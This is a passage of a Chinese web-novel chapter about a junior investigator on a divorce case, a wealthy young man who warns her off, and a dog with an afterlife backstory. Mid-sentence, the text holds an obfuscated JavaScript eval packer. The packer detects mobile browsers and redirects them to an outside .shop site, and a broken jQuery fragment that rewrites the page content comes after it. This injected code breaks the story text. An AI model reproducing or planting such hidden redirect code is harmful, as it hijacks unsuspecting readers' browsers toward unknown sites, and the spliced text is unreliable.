“也不是觉得你有病,就是觉得你情绪起伏有点大,关注你的心理健康。”黎清禾一边回答,一边心想:“完了,这待会脑海里要滴滴滴个不停了。”
“还真是谢谢你了。”江澈一副有苦说不出的样子,心想:“还不是拜你所赐。”
黎清禾切好了一块蛋糕,推到他面前,“别生气,别生气,来,吃块蛋糕,甜食会刺激分泌多巴胺。”
江澈拿起叉子吃了一口,“谢谢。”
黎清禾看他吃了几口,脑袋里也没有滴滴滴的声音响起,松了一口气,试探着开口:“你今天找我有什么事么?”
江澈放下手里的叉子,从外套口袋里掏出一个小信封,推到黎清禾的面前,
“别再跟着林阿姨了,她在找律师正式提出离婚。”江澈拍了拍信封,“万源对你们没说实话。”
黎清禾打开信封,是一叠不堪入目的照片,万总和不同女人的亲密照,黎清禾把照片收了起来。
江澈又开口:“我说的不仅是你,让万源不要再派人跟着林阿姨了,否则就不是离婚这么简单了。”
“什么意思?”黎清禾捕捉到一丝信息,“你是说万总找私家侦探了?”
“恐怕还有更过分的事。”江澈没有说具体的事情,黎清禾大概猜到了一些,双方都没有点破。
“我会把这些还有你的话带回去,我做的是我份内的工作,至于当事人要怎么做,律师会采取什么行动,就不是我能控制的了。”黎清禾只是一个小小的调查员,她可不管那么多事,上面指派了什么任务,她照做就行。
“如果可以的话,退出这个案子,离万总远一点。”江澈说这话的时候表情很严肃。
黎清禾笑了,“江少爷,不是每个人都有选择的权利,我只是一个调查员,都还没转正,还轮不到我挑工作,况且你知道找份工作有多难么?”
江澈知道她政审没过的事情,也不会在她伤口上撒盐,“实在不行的话,你可以来给我工作。”
“谢谢江总的好意,我目前还没失业。”黎清禾本来想怼他,“拽什么?”想了想,算了,确实是少爷,没吃过苦,不知道人间疾苦,当然更不知道她的苦。
“不早了,我先回去了,你也早点回去吧。”黎清禾站起身来准备离开。
“我送你。”
“不麻烦了,不顺路。”
“顺的。”
“啊?”黎清禾一脸问号的看着他。
“我说顺路的,你住在渝北路。”江澈端起剩下的蛋糕,“走吧,我也想去看看小黄。”
黎清禾看着他端着蛋糕走到前台,让前台打包了剩下的蛋糕。
黎清禾没再拒绝,小黄应该很开心,有蛋糕吃,还能见到以前的老师,她说江澈脾气不好时,小黄还冲她发脾气,应该江澈以前对他很好。
坐在车里,四人都没有说话,虎哥坐在黎清禾斜对面的副驾驶座上,黎清禾忍不住朝他翻了个白眼,心想:“要不是你多嘴,哪来这么多事?”
“再翻要得白内障了。”江澈没好气地说了一句。
“虎哥,你练什么的啊?”黎清禾看虎哥也不是那种五大三粗的身材,看着其实没什么杀伤力,忍不住问了问。
虎哥没有回头,依然直视前方回答:“黎小姐,我是退伍军人。”
“你多大了啊?”
“黎小姐,我36岁了。”
“啊?那你保养的挺好,看着像30岁。”
“谢谢黎小姐。”
“36岁,体力还能跟得上么?”
“。。。。。。,跟得上。”
江澈忍不住笑出了声,“每年都有新保镖应聘,至今还没人打得过虎哥。”
黎清禾把手伸到虎哥面前,冲他竖了个大拇指。
车停了,还没下车,就听到小黄的叫声。虎哥给江澈开了车门,司机给黎清禾开了车门。小黄直接热情地冲向了江澈,看都没看黎清禾一眼。
黎清禾心想:“这臭狗。”
“好久不见啊,小黄。”江澈把蛋糕盒子打开,蹲下身把蛋糕放在了地上,抓了抓小黄的脖子。
小黄兴奋的围着江澈转了两圈,冲他汪汪叫了两声。
“吃吧。”江澈笑着又抓了抓它的下巴,指了指蛋糕。
江澈站起身,看着小黄,对黎清禾说:“小黄这么多年,一点都没变,小黄几岁了啊?”
“不知道,它是流浪狗,除了它自己,谁也不知道他几岁。”黎清禾没敢看江澈。
“我记得你说过你高中的时候捡到它的,算一算,小黄都至少7岁了。”江澈想了想说,“要不带小黄去检查一下吧?按照狗的年纪,都算老人了,看看有没有什么身体问题。”
“汪,汪。”小黄冲黎清禾叫了两声。
黎清禾心想,必须整整你,“确实,这条老狗什么都吃,也不忌口,估计身体有大问题。”
“汪,汪,汪!”小黄急了,往黎清禾腿上撞了一下。
“我认识一家宠物医院,我约个时间带它去吧。”江澈说着就拿起手机。
黎清禾连忙拒绝:“不用,不用,这附近就有一家,我改天带它去看看就行,不麻烦你了。小黄脾气不好,坐车怕它受不了乱咬。”
黎清禾可不敢让江澈把小黄带出去检查,万一检查出来小黄基因突变,长生不老,被送去研究了怎么办?
“不早了,你快回去休息吧。”黎清禾下了逐客令。
江澈没再坚持,上车走了。
“别看了,人都走啦。”黎清禾看着小黄还站在路口看着离开的车。
小黄哼唧了两声。
“他以前对你很好么?”
“汪。”
“看来是个好鬼。”
“汪。”
“这么年轻就死了,也是可惜。也不知道有什么执念不愿去投胎?”黎清禾忍不住摇了摇头。
鬼差的阴寿和死前的阳寿一样,生前什么年纪死的?死后也会在相同的阴寿告终。未满18岁的鬼魂不能去驻魂木,只能去转世道,有18岁的鬼差还没接受完培训就阴寿告终。黎清禾见过几个刚从彼岸花长成成年体的鬼差就又来到了驻魂木前,好几次都差点忍不住开口劝阻。少年人的心气比天高,执念也最重,也不知道要循环多少次才能放下前世因缘。
黎清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685640|207579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
禾算了算,江澈今年和她一样大,22岁,她记得他的阴寿是28岁。被她误压去了转世道,也不知道是会过完这一生,还是停留在28岁?
“反正咱两这辈子刷不满分,就回不去,还是想想怎么多攒点分吧!”黎清禾蹲下去摸了摸小黄。
小黄叼起没吃完的蛋糕,朝马路对面走去,黎清禾看到前面有几只流浪狗。
“你行动力倒是挺快。”
笑了笑,回家睡觉。
第二天一早黎清禾就来到了工位,刑律一出现,黎清禾就跟了上去。
“早啊,刑律。”
“早。”刑律放下公文包,看黎清禾还站在办公室门口,“有事?”
黎清禾走了进去,把昨天江澈给她的信封放到了刑律面前。
“刑律,这是我收到的照片,我这两天没发现林忆安有什么反常的地方,也没发现她有婚外情的可能。倒是万总。。。。。。”黎清禾没有把话说开,看了看刑律。
刑律脸上没有表情,“万总的事情你不要管,只管调查林忆安就好。”
“我收到消息,林忆安在找律师准备起诉离婚。”黎清禾想了想,还是决定说出来,“那个,万总好像找了私家侦探跟踪林忆安,对方发现了。”
刑律抬头看了黎清禾一眼,“知道了,你去忙吧。”
黎清禾心想,“忙什么?我不就跟着你忙这一个案子么?”硬着头皮还是开了口,“那我还继续调查林忆安么?”
“继续”,刑律扔过来一个档案袋,“这里有所有的企业工商登记和股东持股公示,你去核实一下,看看有没有什么遗漏的?”
“好的,刑律。”黎清禾从桌子上拿起档案袋,如释重负的走出了办公室。
这些文件网上都能核实,还没有起诉离婚,没有立案就不能申请调查令,核实这些文件,网上都有公开信息,这工作轻松。
对着电脑看了半天的黎清禾眼睛有点受不了了,闭上眼睛靠在椅子上闭目养神。
“摸鱼呢?”
一睁眼,饶隐啃着个苹果,坐在办公桌上看着黎清禾。
黎清禾指了指旁边厚厚的文件。
“你这样可转不了正啊。”饶隐拽了张纸,擦了擦手上快要滴下来的苹果汁。
“什么?”黎清禾坐直了身子。
“你以为就让你网上查查真假这么简单啊?”饶隐指了指其他工位,“这么简单,他们做就好了啊,何必请我们?”
“师傅请赐教。”黎清禾双手握拳,对他一拜。
“又没孩子,离婚不就是争财产么?”
“还没立案,申请不了调查令。”
“要不说你是好学生呢?等调查令下来,财产都转移完了。”饶隐从桌子上下来。
“那怎么查?”黎清禾警校出身,学的都是正规渠道获取信息,确实不知道还能怎么查,但她知道饶隐一定知道怎么查。
“自己琢磨去,不然又要说我让你游离在法律的边界线上。”饶隐投篮似的把苹果核扔进了一旁的垃圾桶,转身走了。
“别啊,师傅,我请你烧烤啊。”黎清禾抓起她的布袋子跟了上去。